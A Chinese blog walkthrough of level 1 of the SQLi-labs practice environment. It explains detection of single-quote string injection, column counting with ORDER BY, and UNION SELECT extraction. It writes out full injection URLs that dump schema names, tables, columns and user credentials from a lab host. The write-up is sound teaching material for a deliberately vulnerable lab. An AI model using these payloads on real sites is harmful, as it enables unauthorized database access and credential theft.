• sql-lab 第一关


    我们先打开第一关

     页面是这样的,Please input the ID as parameter with numeric value,意思是请以数字值作为参数输入用户标示符。

    这样的话,我们首先要判断这是数字注入还是字符注入。

    经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询

     然后在id后面加个',就会报错,可能是字符型注入

     .输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

     然后我们需要用order by 来判断有多少列数据,然后order by 4,发现是报错的,

     然后猜想可能有不到4列的数据,那就order by 3吧,结果发现是正确的。

     然后我们需要用到union select,

    联合查询特点:

    1、要求多条查询语句的查询列数是一致的!
    2、要求多条查询语句的查询的每一列的类型和顺序最好一致
    3、union关键字默认去重,如果使用union all 可以包含重复项

    所以这就是我们为什么需要用order by 的原因,我们需要确定表的列数才可以使用联合查询

    这样我们可以使用union select 1,2,3查看页面是否有显示位。

    还有在使用联合查询之前我们需要把id值随便改一个,例如00,绝不可以是数据库里面所存在的值。

     发现页面先输出了2和3,说明页面有2个显示位

    然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

    http://10.0.69.29/sqli-labs-master/Less-1/?id=00%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+

     这是一个查询数据库名信息的语句

    查询security内的所有表名

    http://10.0.69.29/sqli-labs/Less-1/?id=00' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+ 

    然后查询security里面所有的表名!列名有:users、emails...

    http://10.0.69.29/sqli-labs-master/Less-1/?id=00%20%27%20union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

     然后需要爆破列名

    http://10.0.69.29/sqli-labs-master/Less-1/?id=%2000%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

     发现了username和password,继续挖掘

    http://10.0.69.29/sqli-labs-master/Less-1/?id=00%20%27%20union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

     这样就爆出了密码与用户名,还有就是0x3a表示的是分隔符;

  • 相关阅读:
    B树与B+详解
    SQLite占用资源少原因
    iOS SQLite详解
    YTKNetwork网络封装
    YTKNetwork源码详解
    AFNetworking封装-项目使用
    iOS网络请求-AFNetworking源码解析
    PHP 不使用第三个变量实现交换两个变量的值
    PHP public private protected 三种修饰符的区别
    PHP 汉字转拼音
  • 原文地址:https://www.cnblogs.com/awsole/p/13759363.html
Copyright © 2020-2023  润新知